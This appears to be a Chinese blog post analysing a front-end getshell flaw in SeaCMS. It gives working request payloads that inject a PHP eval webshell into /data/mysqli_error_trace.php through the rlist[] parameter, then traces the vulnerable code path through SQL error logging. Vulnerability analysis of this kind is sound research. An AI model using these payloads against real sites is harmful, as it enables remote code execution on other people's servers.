登陆 注册

代码审计之Seacms前台Getshell分析

f506890189 2020-06-03 代码审计海洋CMS前台getshell

文章源自【字节脉搏社区】-字节脉搏实验室

作者-Beginners

0x01 Seacms介绍:

海洋影视管理系统(seacms,海洋cms)海洋cms是基于PHP+MySql技术开发的开源CMS,是一套专为不同需求的站长而设计的视频点播系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选。

0x02 漏洞复现:

利用路径:/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[a]);?%3E


直接访问:data/mysqli_error_trace.php?a=phpinfo();


写入Shell后,成功连接:data/mysqli_error_trace.php?a=@eval($_POST['a']);

0x03 代码分析

第一步:/comment/api/index.php 分析:

作用:第3行引用了/include/common.php这个文件。

第二步:打开/include/common.php这个文件,定位到98~118行:

作用:将 $_GET、$_POST、$_COOKIE 传入的参数注册成全局变量。

第三步:回到/comment/api/index.php继续分析,定位到第18行:

作用:发现在第18行处调用了 ReadData 函数,我们跟进这个函数。


作用:声明$type,$pCount,$rlist,这些参数都是前面注册的全局变量。

第四步:因为后面的函数都用到了$rlist这个变量,重点分析$rlist:


作用:implode()把$rlist组合成字符串,然后进入Readrlist函数。

第五步:跟进Readrlist函数:


作用:拼接并执行SQL语句:id in ($ids) ,这里的$ids其实就是刚才可控的 $rlist 变量。

第六步:SQL执行后,引用了Execute()函数:

第七步:跟进Execute()函数,函数文件位置:include/sql.class.php 第224~258行:


作用:当查询结果为false时,使用DisplayError()函数的方法。

第八步:跟进DisplayError()函数:


作用:这个函数首先输出了提示错误的html代码,之后将mysql的错误日志写入/data/mysqli_error_trace.php文件并保存,直到这里就触发了Getshell的漏洞。

0x04 Cms下载地址:

下载地址:https://share.weiyun.com/5qpXRztI


生成海报
请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By SangYun.Net